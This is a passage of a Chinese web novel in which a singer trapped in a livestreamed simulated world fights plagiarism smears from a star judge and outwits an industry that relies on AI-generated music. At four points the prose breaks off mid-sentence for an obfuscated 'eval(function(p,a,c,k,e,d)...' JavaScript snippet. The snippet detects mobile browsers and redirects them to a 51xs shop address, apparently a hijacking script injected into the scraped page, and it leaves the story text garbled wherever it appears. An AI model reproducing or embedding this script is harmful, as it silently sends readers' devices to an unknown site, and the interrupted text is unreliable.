有夏洗完脸出来，面已经上桌了，积分的上涨可以兑换一些好东西，比如数额不少的钱财，还有几个从没见过的高科技产物。 补录的日子如约而至。 演播室内，付黎眼看就要开播，不禁担心起有夏是不是真在半路被脑残粉揍了。 当有夏顶着清丽的淡妆出现的时候，在场所有导师和学员都吃了一惊，和相貌无关，而是在感慨：这个女人的脸皮怎么可以这么厚啊！ 要换了个正常人，抄袭被扒后顶着几近全网辱骂的网暴，可能早就退赛了吧！ 面不改色打了招呼，学员们勉强应下，三个导师呵呵一笑，韩珂径直掠过，表情则带了一丝讥讽的怜悯。 可怜虫啊。 节目开始录制，顺序不知怎么变了，上台的是一个穿着火辣的女生，孟韵轻和珵越很给面子地夸了几句，女生腼腆一笑，开始表演自己的节目。 舞曲带着浓郁的爵士风，女生基本功扎实，重心很稳，边唱边跳也不喘气。 虽说有夏也不知道，这个世界为什么还会有街舞，但看完还是由衷地为她鼓掌。 韩珂这次倒是也给了绿灯，女生很高兴，他又说：“但你的身材还有待锻炼，这种舞蹈，就要前凸后翘才够有韵味。” 女生比上次唱民谣的男生胆子更小，被人这样点评身材很不舒服，尴尬地拿着麦下台。 “下一个。” 韩珂这次没拿学员资料，左顾右盼看着其他三个导师，勾唇一笑：“我记得，这好像是这段时间的话题人物啊？” 丁煦接茬：“啊，是吧…………” 有夏顶着台上台后怪异的目光做完自我介绍，是孟韵轻先开的口：“你对自己的身份有什么见解吗？” 有夏大大方方地说：“歌手啊。” 孟韵轻是四个人里最温和的，从不给人冷脸，听完后也不由愣怔；其他几人的表情一言难尽，韩珂一把拿过话筒：“说错了吧？” 韩珂像是终于对她上了些心，冷眼讥讽：“是裁缝才对吧？我这几天一打开手机，看到的全是你的脸。” “是吗？”有夏眉眼弯弯，“那可能是我比您出圈一点吧？” “你…………” 罕见的舞台冲突，黑料缠身的抄袭狗居然敢和顶流级导师顶嘴。后台的选手们激动不已，付黎想到有夏在外面的样子，不禁捏了把汗。 韩珂在这个世界也是顶流，他看过社交平台上的那些言论，一眼就能看出来是韩珂的粉丝和水军在带节奏，可即使知道又能怎样，这里的粉丝比起现实中的只会更疯狂。 就算她道了歉，认了错，也还是要被媒体拿来妖魔化，‘抄袭狗’将会贯穿她在这个世界里的一辈子，永远无法翻身洗白。 跃星大楼内，所有人都为这一幕捏了把汗；三三鱼再次开启直播模式，尽管大多数观众并不想看江有夏，但凭借三三鱼的口才，观众们很快又抱着凑乐的心态选择留下。 台上。 舞台昏暗下来，黑暗中响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564351|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵阵鼓点，慵懒的伴奏带着点爵士曲的味道；紧接着是一阵轻摇滚和disco的结合乐声，很典型的citypop前奏。 曲子中结合了舞曲和爵士乐，前奏欢快慵懒，让人颇有种置身夏日海滨的感觉。这歌主要还是靠编曲烘托氛围，唱好不难。 间奏舒缓，萨克斯中还融入了很有节奏韵律的鼓点，整首歌乍一听纸醉金迷，却又夹杂着清爽复古的味道。 别人看不见的地方，她的弹幕也在猛增： 【这是什么曲风啊？华丽又清爽的感觉】 【闻所未闻的感觉，完全不像是生成的音乐啊】 【What？？？？？？】 【这是自创了一种曲风吗？】 孟韵轻和珵越的表情最先变了，中间好几次想给绿灯，但都被韩珂蛮有力地制止了，他不相信会有人能写出这样的歌。 台后已经有歌手把抄袭的事忘光了，眼冒星星，完全沉浸在这一场前所未有体验过的听觉盛宴中。 原来曲子还可以这么写？！ 如梦如幻。 唱完，有夏连大气都没喘一口，大灯亮起，韩珂的脸色却是全变了，完全没有犹豫，提笔在纸上飞快写着。倒是珵越饶有兴致地问了句：“这是什么曲风？” 有夏如实说出，珵越完全没听懂，又问了一遍，还是像听到鸟语一样头雾水。 其他人都说没听过，面面相觑，丁煦甚至半开玩笑地问她是不是又在骗人。 他们甚至对开头的和弦也很新奇，韩珂虽然一直黑着脸，但眼里的妒火已经快要烧到台上了。 “又是在哪借鉴来的？”韩珂皮笑肉不笑，把借鉴两字说的别有意味，看也没看，直接在纸上写下‘淘汰’。 “抄袭就是抄袭。” 有夏露出个礼貌的笑，分明觉得自己胜筹在握。 这让韩珂更加不爽，牙关紧咬着：“行了，让下一……” “等一下。”孟韵轻连他的面子都不卖了：“这种感觉，你是用什么方法表达出来的。” “方法？” 孟韵轻：“就是编曲，你是怎么编出这种风格的？” ？？？ 四个圈内顶级的音乐导师，怎么可能没听过CityPOP？ 现场还在录制节目，四面八方都是摄像头，她极力保持住镇定。 “就是把爵士和轻摇滚结合起来。”有夏如实说出，“这种曲子用中文来唱会有点违和，所以我们把重心放在了编曲上。” 后台已经有选手露出了沮丧的神情，看旁人也是一脸吃惊，不平道：“真的有实力就不要报名啊，这一看就是冲着第一名来的。” “轻摇滚是什么？”另一个向来高傲的选手问旁人，又仔细听着有夏的回答，面露疑惑：“难道她的歌都不找素材来融吗？” 弹幕还在疯狂刷屏，头顶就是刺眼的舞台光，她站在熟悉的舞台上，真的快要看不清了。 韩珂听完也显得有点懵，脸还是臭着：“爵士我知道，但是怎么结合？” 这是她头一次觉得同行和外行没什么区别。也问出了那个最白痴的问题：“你们…………不会编曲吗？” 8. Chapter 8 气氛一时安静得有点尴尬。 编曲是什么？那可是只存在于教科书上的古老方法，虽然好听，但早在百年前就已经失传了，这个时代出生的人，怎么可能还会编曲呢？ 大部分音乐人基本都是先找旋律素材，再把数个段落拼接好，最后才由智能机器生成歌曲。 现在能做出原创歌曲的人都少之又少，更何况独立完成编曲作曲的人！ 珵越不可置信地拿笔敲了敲自己的脑袋。 有这水平的 另外三个导师的脸色各异，出于体面，孟韵轻和丁煦没说话。 与此同时，三三鱼正在F站上实时讲解着这一期直播，F站的观众们看着这局面，又爽又紧张： 【狗咬狗哈哈哈，爱看爱看】 【她的声音好像飞天恐龙啊，唉…………】 【别想了，恐龙的歌比她的明显好很多，而且会独立写歌的人又不是死光了，万一是江有夏找别人写自己唱呢】 【这是恐龙被黑得最惨的一次】 台上的有夏不知道这一切，还要再说什么，韩珂面无表情打断了她：“就算这样，鉴于你之前涉嫌抄袭，我也不打算给你亮出绿灯。” 节目播出后，韩珂的言论在网上引起了轩然大波，但很快他的粉丝就说，这是‘负责任的体现’，发脾气也是因为容忍不了抄袭狗。 网上是铺天盖地的骂战，回到跃星后，丘若雁特地让漫漫看好有夏，千万不要被狗仔拍到。 不过，最让人在意的不是这个；弹幕里，基本上都是在拍手叫好的： 【好恶心的男的，还在节目里点评别人的身材，有病】 【虽然我也不知道什么是citypop，但是看着这些明星吃瘪真的好爽】 【终于打脸那个韩珂了，没能力又自信，还不允许别人比他优秀】 【有人看到吗？有夏说到乐理知识的时候他根本不懂，真的好蠢啊哈哈哈】 节目一经播出，本想靠‘歌坛活人’人设引流一波的韩珂风评转变得很快，开始有声音指责他不尊重人，不但公开点评女学员身材，还直接淘汰水平比自己高的学员。 韩珂在家里看着手机，先是不可置信，一条条评论看下去，从手指到毛孔都在发抖，最后气得只差没把手机砸了。 点评一下身材又怎么了，他从前可是露出腋毛都会有一大帮人夸他有男人味的人！ 有夏的那段表演则受到了关注，第二天，一家人气媒体来到跃星楼下，想要对有夏进行采访。 不过有夏并没有接，借故不舒服推迟几个星期，继续观察着网上的风向。 就和规则一样，这里的人完全不会独立编曲和作曲。歌曲都是靠智能产物生成，粉丝喜欢捧臭脚不代表路人也喜欢，质量一言难尽的情况下，她临时写的那首歌反而成了不可多得的好歌。 网上渐渐出现了另一种声音： “都是没吃过好的。” “别说了，我都好多年没看过一场正儿八经的演唱会了，全是毫无水准的生成音乐，要么就是一堆虚拟人在那跳舞，难听又难看。” “好敢说，等会粉丝打来我先跑。” “是啊，自从那次之后，主要任务都是在重建家园，好像真的很少看到有水平的音乐了，连电影也是，唉，青春啊。” “想让她把歌发行出来，真的好听。” 谁都想不到的是，这天夜里，刚下播的陈渔突然急匆匆地过来找有夏，说自己那个视频突然就爆了。 也就是她身为‘三三鱼’直播听歌那条。 按理说被投稿到F站圈地自萌的视频，一般不太会被主流圈子注意到，即便是注意到，也不会泛起什么太大的水花。 转发的是乐坛的一个乐评人，社交账号的粉丝很多，倒不是因为人有多好，而是嘴巴太毒，批评过无数歌手，导致社交平台的评论区设置成了仅粉丝可评论。 关注他的也多半是各家歌手的粉丝，因为拉了太多仇恨，粉丝们每天都变着花样在评论区轰炸他。 一向挑剔他却转发了F站up三三鱼的视频，内容简练：视频看完了，后生可畏。 如果说‘飞天恐龙’之前只是在普通听众中小火，那么这次有了乐评人的转发，‘飞天恐龙’才算正式走进了圈内人士的视野。 圈内不少人都是从音乐名校毕业的，初看非常不屑，但看着自己新歌惨淡的数据，又按耐不住好奇心，点进去一听，只第一首歌就把一半人惊讶得说不出话了。 国风歌曲？ 现在怎么可能还有人会写国风歌曲？ 别说发弹幕的普通用户反应那么激烈了，饶是他们这些入行几年甚至十几年的人，也不禁为之震撼。 这真的是人能写出来的歌吗？ 各家艺人的团队齐齐上阵，快要把‘飞天恐龙’的账号掀个底朝天，最终却什么也没搜到。 除了能确定账号的主人是个年轻女人，或许还有个男的偶尔唱唱和声，他们一无所获。 整个行业的蛋糕只有那么大，本来都不够分，现在又空降一个实力让人绝望的年轻歌手，众人忌惮之余，也不免仰望羡慕。 粉丝再多终究比不过路人，眼看‘飞天恐龙’的粉丝已经上涨到了10w，别说如日中天的新生代，连中流砥柱的那批歌手也坐不住了，连夜通知团队去查。 下午四点半，三三鱼发了条动态，标题是‘惊！我居然连线到了森行新晋大神’。 消息一出，三三鱼的预约直播间直接被敏锐的F站官方推送到了推荐页，不到六点，预约人数很快破万。 当然，全程是不露脸的， 【龙龙的声音好甜，礼貌问问多少岁了】 【声音好沉静哦，能注册个F站账号吗？想听大佬授课，我一定不白嫖】 【龙龙能分析一下百舞那几首涉嫌抄袭的歌吗？如果是的话，那我就不听了】 飞天恐龙一一解答，也有人想不明白，这么低调温柔的大神为什么会取这种名字，三三鱼本是选取着弹幕里的问题，突然发出一声有点失礼的惊呼。 居然有人打赏了十万元F币，与平台按3:7分成后，也是一笔不小的数额。 所有观众和三三鱼都不知道的是，打赏的人正是韩珂，他一早就注意到这条龙了，倒要看看是何方神圣。 ……… “哪里好听了？指不定又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564352|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是抄的。” “我是路人，真的心疼韩珂，上个节目还要面对抄袭的人。” “装什么装啊，会编曲不也只是糊，而且只有我觉得公开和导师顶嘴很没礼貌吗？” “笑死了，谁知道是不是请人写的，抄袭狗怎么可能会编曲啊，别搞笑了。” 丘若雁看着评论头疼，算是看出来了，韩珂家的粉丝是真难缠，她甚至怀疑，哪怕韩珂去吸/毒犯罪，这些人也只会说：是哥哥压力太大了。 下午，韩珂出席一项活动，穿着一身细闪高定西服出现，无数媒体记者蜂拥而上，团团围住他进行访问，生怕错过了热点。 大部分还是抱着看笑话的心态来的，一个导师，居然在综艺里被两个糊咖打了脸，大部分观众不懂乐理，听了这个消息，只会觉得韩珂德不配位。 活人明星本来就少，爆了一个还是大地雷，狗仔记者们迫不及待：这下又有话题可以炒了。 他们都想好了，采访完韩珂就去采访有夏，两边各有说辞，到时候再偷换一波概念，写一些夸张虚假的标题，不愁没话题。 韩珂的眼下挂着两道淤青，一看就是累的，粉丝们都快心疼坏了；一个记者的话筒都快伸进他喉咙里了，他抓住话筒：“我发脾气，只是看不惯圈里这种不正之风，如果大家觉得我错了，那么我也在此道个歉。” 采访一出，韩珂粉丝心中的正义感更强强烈，只差没把社交平台掀了，只说有夏是圈子里的毒瘤，要求她赶快滚出歌坛。 有夏坐在阳台上看着几万条激烈的评论，弹幕里的观众也气不过，都是叫她快点反驳回去的。 很好。 两边的情绪都被调动起来了。 她出道的时候正好赶上互联网在国内兴起，什么乱七八糟的谣言没见过。只不过现在还没到时候，就算反驳了韩珂，利益也不能实现最大化。 所以她还是该吃吃该喝喝，甚至专门和跃星的人搓了顿火锅。 隔了几天，韩珂又在另一场活动的采访中发了言，视频里的他一身西装，还特地做了湿发造型，戴着金框眼镜，眼角微红，格外禁欲清冷。 “据我所知，那首被抄袭的歌曲是蓝蓝老师的，我觉得我不止是在保护她的权益，也是在保证所有音乐人的权益，谢谢。” 韩珂果然是玩弄人心的好手，一波大格局发言后，更多音乐人出来力挺他的发言，说顶流就是顶流，接着怒骂抄袭狗。 群体在做一件事的时候总有种莫名的自豪感，眼见火力又转到有夏身上，跃星终于忍不住了，说什么都要发辟谣声明。 有夏拦住了公关。 第二天，社交媒体上传出了一段录音，打满了和韩珂有关的标签，吃瓜的网民们本来没放在心上，还以为是有夏录了什么道歉视频，结果一点进去，社交平台差点崩溃了。 画面漆黑一片，声音却被配上了字幕，黑底白字，明显得不能再明显： “算了，不过韩哥，你真要泡那三个女的啊？” “有什么不行？”韩珂的声音很有辨识度，嘴里还咬着烟：“收起你的圣母心，你知不知道，为了捧你，团队可是顶着污蔑抄袭的风险，不要让我们失望。”。 9. Chapter 9 日暮时分，二人戴着口罩出现在一处较为偏僻的街道上。 如果把这个世界比作全息游戏，那未免也太真实了点，这里完全看不出市中心高楼林立霓虹变幻的感觉，也没有那么多高科技的产物，只有一望无际的旧工厂和平房。 不远处，三五个工人正推着一车沙走过。旁边有个男人骑着自行车载着小女儿驶过，都穿着不合身的衣服；二人走了好一阵，都被路过的工人居民盯着看。 倒也不能怪NPC们吃惊，毕竟现在不是特殊时期，突然出现两个戴口罩的人，谁都会觉得奇怪。 转悠一圈，夕阳的光铺满整条长街，这里的景象和‘未来世界’完全不搭架，没有了飞舟飞艇，一眼望去只有荒凉，一些路段坑坑洼洼，连小汽车也很少见，出现一辆电瓶车都会让人侧目。 入目都是接地气的元素，有夏甚至有了一种自己已经回去的感觉；走过烧烤味弥漫的大排档，又走过晾满湿衣服的老小区，终于走进目的地。 一家琴行，室内不大，略暗的白炽灯下，一个二十岁出头的男人正在吃泡面，香辣的腻味溢满整个一楼。 “随便看啊。”男人只瞥了一眼，继续盯住电脑屏幕，吸溜一大口面。 【来这种地方干什么？不应该先解决韩珂的事，再去和蓝蓝的家人道歉吗】 【我感觉那首歌不是抄的，她不是说了吗？和弦一样的歌太多了】 【你怎么就知道不是抄的，如果真的不是，网上那些人会那么生气吗】 【行了行了，每次一进来就看见你们在吵】 不知道是不是那首歌的原因，那天之后，直播间的人数又增加了一百多人。 有夏拿起一把古典吉他，弹拨一下，发出粗哑干涩的弦音，徐佳澍说：“音色不太行。” 何止是不太行。 “嗯。”有夏恍惚了一瞬，拿起琴确认了确实是古典吉他：“仿得太粗劣了，根本不能拿出去演奏。”‘’ 琴行里的其他乐器也基本是这个样子，随便一样拿出去弹都是会被人骂死的节奏，挑了一阵，柜台前的人明显不乐意了： “点评这个点评那个干嘛呢？真把自己当艺术家了？” 这老板太不会做生意，有夏回眸笑了笑：“这里还有其他乐器吗？” “没有，爱买买。”见有夏又拿起那把古典吉他，男人把泡面叉一放，快步走来：“现在这个时候，你还想要什么水平的？” 看徐佳澍比自己高了近两个头，男人很快又退开一步，有夏也不计较，把琴放回架子上，“走吧。” 男人又叫住他们，二人刚回头，男人急匆匆地回屋拿了个琴包出来，里面是一把色泽上乘的吉他，他拨拨弦：“你们喜欢这种？” 音色好了不止一点。 有夏不可置否，男人嗤笑一下，打量过后眼里也没了恶意，“懂行啊，可惜现在谁还用乐器，你们看了最近那综艺没？那导师水平太差劲了。” 有夏在口罩下扬了扬嘴角：“超越全舞台？”男人点点头，接着大骂韩珂这种人就是资源喂出来的狗；这个行业的人都多少有点相互鄙薄，有夏听他骂完，说：“那你会编曲吗？” “啊？” 摘了口罩，男人直视她几秒，又看看电脑屏幕，眼睛睁大，立马就认出来了！ 【我觉得不是，这里不是没有人会做音乐，可能只是没有机会？】 只是没有机会………… 男人的态度转变得倒快，先是夸赞了一番她在节目里的表现，接着有点腼腆地说，他叫霍望，希望二人可以指导一下自己的水平。 徐佳澍扯扯她的衣袖，现在就暴露水平太过急躁，有夏轻轻颔首：“我也就是个半吊子，可能给不了太好的建议。” 男人的态度简直像从见了乞丐到见了皇帝：“没事没事，你会编曲，还知道流行音乐的分类，就已经很难得了。” 男人低头的功夫，有夏再次抽抽嘴角。 男人的指法有点专业人士的样子，弹的应该是他自创的旋律，听着还不错，有夏客观地评价几句，徐佳澍指出一些弹奏上的问题，男人已经彻底改为崇拜了。 “你们是什么音乐学院毕业的？”男人端来茶水：“我之前都没听过这些名词。” 有夏套话：“嗯？”她试探性地说道：“我们前些日子才从国外回来，还不知道这边的情况，你能说说吗？” 电脑里播放的正是《百分百舞台》，刚好播放到几个导师一起出场的画面，她投去一眼，又不经意似的问：“他们都是什么水平？” 矮子里面拔高个，男人看上去很愤懑，自从九十年前北半球经历过一次重大天灾后，所有的娱乐文化和艺术类作品精华都被毁灭，政/府的主要任务都在重建家园和发展科技上，根本没空理会大众的精神需求。 直到近几年，一种智能产物被研发并广泛使用起来，这是一种闻所未闻的机器，通过扫描数据，可以拼凑合成出一部全新的作品，电影，歌曲，图画………… 不过十几年，这种智能产物就在全世界席卷风靡开来，过去要费尽心思才能拍出来的电影，现在一分钟就能生成，要敲敲打打无数次才能完稿的小说，在十秒内就能写出，就连歌手演员这种职业，也能被代码人所取代。 歌曲和电影是生成的，剧本和编曲是拼凑的，后来连日常叫的外卖快餐也是早早制作好的。 换句话说，没有人再愿意静下心做一件事，因为都太快捷方便了。 只不过，那些歌曲很乏味，电影很难看就是了，至于大众喜不喜欢，就不是上层人该考虑的了。 一切都像被安排敲打好了一样，每个人就都这样活着，大部分人选择了接受，毕竟难看总比没有得好。 渐渐的，那群看着吃着生成物的人长大，由于从小就接受着这一切，也没有人见过听过吃过它们本来的样子，自然不会想到反抗。 霍望说完，眼睛里带上了疯狂的猩红，他无比怀念过去的世纪，无比想要回到那个年代，听听人写出来的音乐，看看人拍出来的作品。 很奇怪的世界观，但有夏的脑子毕竟只是个正常人类的脑子，没有洞察万物的能力，一时也说不出来漏洞在哪。 只是，组织构建的这个世界也太奇葩了。 【啊啊啊这不就是我们现实的生活吗，好恐怖】 【细思极恐啊细思极恐】 【我就说这些年怎么越来越无聊了，大家一看到负面新闻反而比看到新剧还激动】 【而且好像真的没有人见过文明存在的样子，我们从小到大看到的都是些什么合成垃圾啊】 “请你们教我作曲吧。”霍望非常诚恳，他环顾一周，最终把吉他郑重其事地递上，这是他唯一拿的出手的东西了。 弹幕在这个年轻人身上得到了共情，纷纷要求有夏收下他当‘徒弟’。 ………… 离开的时候，二人没要那把吉他，考虑到弹幕的情绪被勾起，还是答应了他的请求。 二人坐上回去市中心的轻轨，今晚没再下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564353|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨，悬浮的列车内很是拥挤，人们正用同一个表情刷着手机。 车窗外，霓虹夜灯绚丽，如梦如幻，列车行驶得飞快，色彩绚烂的灯光就拉成道道光线，宛若激光。 这时提示面板又出现了，这次的面板更大更宽，是组织那边来的消息。 他们这群人完全不像个团队，平时基本就靠面板联系，还不是想召出就召出的，大部分时候，都是组织和老者那边在控制。 有人的腿断了，仔细一看图，居然是前几天还生龙活虎的付黎！ 图片上的他闭着眼躺在担架上，正被两个医护人员抬进救护车，有夏的心跳漏了一拍，不知道这个‘腿断了’是哪种意思。 很快有人发问怎么回事，组织方解释，是他在练舞时摔断了腿，离开公司的时候又遭遇了车祸，现在正送往医院治疗。 冷漠的是，除了有夏关心了状况，其他玩家并没理会。 网上的风向则是完全翻了天，回到跃星，所有人都拿诧异的目光瞅着她。 有夏那天特意带了录音笔，没想到韩珂比现实中那帮费尽心思想要抹黑她的同行还蠢，直接在走廊上说出了自己的密谋。 韩珂快被骂成了筛子，证据确凿，粉丝洗地也不管用，跃星趁热打铁，又发了一些在狗仔手里买到的真假黑料，网上的风向来得快去得也快，这次轮到韩珂的社交账号彻底沦陷。 包括他包庇人晋级，以及数据造假的事。 那天夜里，有夏深扒了韩珂的社交媒体，他使用得最多的不是工作软件，而是个流量很大的短视频平台。 视频里，韩珂喜欢走‘亲民’路线，最新的一条视频，他拿着一堆动漫手办和周边，背景音乐是那部动漫的OP，果然引来了那部动漫的粉丝。 评论里，网友A说：“韩哥也追番吗？”，韩珂的回复是动漫里一句中二味十足的台词，和动漫粉们对上了暗号，漫粉们纷纷在评论区对韩珂‘路转粉’。 其他的作品里，他不是撸猫，就是顶着帅脸搞笑；再看他公开的点赞视频，清一色的美食和小动物，一个在舞台上酷酷耍帅的人，私下的反差居然这么大，大部分人都觉得他很可爱。 ‘干净愚蠢’这个词成了韩珂的代名词，这种和普通人无异的反差感让大众有了一种错觉：韩珂是个很亲民善良的人。 加上他是男艺人，勾心斗角这个词自然也和他没有关系，在大部分人眼里，那是属于女艺人的标签。 有夏看得津津有味，随即联系跃星的公关，把韩珂爱看动漫这事好好拿出来说了说。 不出半天，韩珂评论区的风向完全变了，漫粉们大骂他蹭那部动漫热度，还说他根本不花钱，就是个爱蹭爱营销的双面人。 “从来没相信过韩珂的扣1。” “你懂什么是羁绊吗？娱乐明星做好自己的本职工作行不行。” “终于有人敢说了，我之前就不喜欢他拿着周边在那炫耀。” 总而言之，效果非常好，蓝蓝的家属出来解释过后，火力已经完全转到韩珂身上了。 弹幕外的人们更是爽得头皮发麻。 有夏补着妆，感觉自己像个恶魔。没多久，《百分百舞台》表演的那首歌正式在音乐软件上架，播放量很快破了一百万。 当然，用的才不是‘飞天恐龙’，那是另外的价钱。 带给跃星的利益是之前所有人根本无法想象的。 过了几日，丘若雁对有夏的态度完全变了，好声好气地商量说，又给她接了档综艺。 10. Chapter 10 本来以为《百分百舞台》这种综艺就已经是极品了，没想到还有一个。 热度不算高，但重在对挽回路人缘很有帮助，不上白不上。 而且作为一个录制过许多种综艺的人，她真的无法想象，智能生成的综艺是个什么鬼样子。 丘若雁没有透露太多，只说了综艺的名字，接着应该是怕再出什么状况，就先让二人回去休息了。 锅里正煮着海鲜粥，准确来说是只放了一点虾仁，眼前的弹幕还在刷着，徐佳澍手里一顿，看一眼弹幕下方的热度，继续剪虾线。 虾壳剥完了，所有的虾肉都被倒进锅里，被稠稀刚好的白粥裹住，他又把姜丝和葱花倒入，撒上盐，接着盖上锅盖。 弹幕依旧热闹： 【好温馨，有夏在外面忙前忙后，他怎么像个小媳妇】 【哟哟哟，在外面不还是普通同事吗？一回来就为人家做饭】 【看饿了，求个配方】 【她是因为你做饭好吃才和你在一起的吗】 玩家不能直接和弹幕交流，否则会按拉票处理，他看到这条评论，没忍住将嘴角扬了扬。 是也不是吧。 门应声而开，有夏拎着一袋东西回来了，他正好把粥端上桌，下意识往袋子里瞟一眼，是一些零食和牛奶，有夏擦着汗说：“等会去看看付黎吧。” 他的腿是保住了，但是伤筋动骨一百天，这段时间估计是没法参与到任务中了。 徐佳澍应了一声，拿过饭碗打了两碗粥，又拿出几盘炒菜，有夏在口袋里摸出一张纸巾给他，他围裙都没解，过来也不动，就这么站在她面前。 【想让人家帮你擦汗吗hhh】 有夏只能照做，眼神却已经把他杀了一万遍了，这个神经病，分手后怎么得了这么重的戏瘾啊！ 车子停在一家规模中等的医院门前，付黎应该在住院部，来到大厅问过护士，二人就要往电梯走去。 “唉，等一下。”护士过来打量二人：“不是才有人来过吗？还不让别人进去看呢，你们什么关系啊？” 不让进去？难不成还有人敢在医院里作威作福吗？ 有夏找了个借口就进了电梯，指示灯在11楼停下，开门，医院的走廊上一切正常，弥漫着消毒水的气味，有做康复训练的病人，也有刚换完石膏的病人。 只有一间病房的门紧紧关着，门口坐着两个包着纱布的男人，正在地上骂骂咧咧： “真是操了，怎么偏偏和这种人一个病房，我养个病容易吗？”一个男人吃着盒饭，喋喋不休：“这都几天没开工了，我老婆孩子还等着我回去赚钱，这都是什么事！” 另一个病人正把筷子往泡沫盒里插：“听说那是个明星啊，应该是得罪了什么了不得的人物。”他不屑一笑：“他们也就是看着风光，到了老板面前不也是只有卖笑的份。” 病房门被踹开，一群脸色冰冷的西装男走出来，病人们纷纷退让，还有家长捂住了孩子的眼睛，不敢吱声。 直到人全进了电梯，病人中才发出一声低低的：“又是这帮财团狗。” 有个护士端着药，勉强整理好表情走进病房，立马爆发出一声尖叫。 紧接着，一个医用玻璃瓶飞了出来，四分五裂，透明液体流了满地，散发着难闻的酸味。 付黎嘶哑的呻/吟传出来：“我疼啊…………” 【我去我去，那帮人该不会是什么一手遮天的财阀吧，怎么能在医院里乱来啊】 【付黎会不会已经被他们搞死了】 【好可怕，夏夏快去救他啊】 直播间的某些功能似乎升级了，先前观众们是用上帝视角在看，很多时候只能替有夏干着急，现在他们的视角和有夏一样，更像是一场沉浸式的直播。 【还愣着干嘛啊，付黎也是你们的队友】 【那群黑衣人到底是啥啊，不会是□□吧】 【付黎好惨，又是被撞又是被搞，他得罪了什么人啊】 电梯门打开，刚才在一楼拦下二人的护士首当其冲，后面则跟着院长和主任模样的人，有夏赶紧跟进去，付黎正躺在被药液和血浸透的床上：“我疼啊…………” 院长看上去也是满脸的无可奈何，吩咐再给他换一次药，一名年轻的医生不解，院长捏了捏眉心：“你得罪了他们旗下的艺人吧？” 付黎被人搀扶着，脸色苍白：“我…………我不知道，我不认识他们。” “那是越旗的人，涉及的领域太多了。”一名女主任说道，“连我们医院的医药和设备都是他们提供的。”她拿出手机看了一眼，挑挑眉：“他们旗下有个大艺人，叫韩珂，你应该认识的。” 【这是什么霸王公司？而且韩珂和他有仇吗】 【他才经历全网黑，估计之前也没受过这么大的气，想找人发泄呢】 【不对，我怎么觉得他是冲着夏夏他们来的】 看到这条弹幕，有夏身子一僵，付黎出事的那晚，本来确实是要和他们同乘一辆车的。 说不定车祸也不是巧合，而是有人刻意为之。 “那天晚上撞你的车呢？看清楚了吗？”一直沉默的徐佳澍问道，病房里所有人都看了过来，见又是个艺人，表情顿时都有点不自然。 “是我的车撞到了别人。”付黎很虚弱，唇无血色：“但是那辆车没什么事，只有我的车，撞到了高速上的隔离带…………” 这样的伤害说不定还会跟随他回到现实世界，爱豆就是靠唱跳吃饭的，这还是直播吗？分明是要把他们往死里整啊。 组织那边是不能依靠了，换句话说，这档节目取悦的，从来都是发送着弹幕的观众，而他们这二十二个人，都只是取悦吸引人的工具而已。 没人会在意工具的生死，工具坏了，换一个就是。 这个想法让有夏感到恶寒。 【感觉有趣起来了耶，反杀财团？是要开启复仇之路了吗】 【这不比电影有趣多了，在没有剧本的情况下，说不定他们也会失败呢，想看】 【刺激起来了，但是明星又不是杀手特工，怎么复仇啊】 【别说了，这样我更期待了】 【……】 把东西拿给付黎；回到家里，有夏兴致缺缺，随手打开电视，是电影频道，正播放着某个电影节的颁奖仪式。 现场播放着振奋人心的音乐，大屏幕一一播放着今年获奖或提名的电影和演员；台下，摄像机扫过一排排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564354|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精致小巧的人脸。 ——大部分还是机器人导演，只有前几排坐着笑容僵硬的活人演员，表情得体地鼓着掌。 这个奖项的含金量应该很高，重要程度不亚于现实中的金马金像奖，就是不知道有没有奥斯卡。 都是很上镜的长相，一个同样是玩家的女明星此刻妆容精致，头发盘起，保养得体的脸出现在屏幕里，正全神贯注凝视着台上，在听到主持人念出自己的名字后，大方利落上台领奖。 台下几乎全是机器人，她依然笑着说： “感谢团队，感谢影迷，也感谢我的………………” 他们看不到别人那边的弹幕，抬头看一眼自己这边，反应不咸不淡。 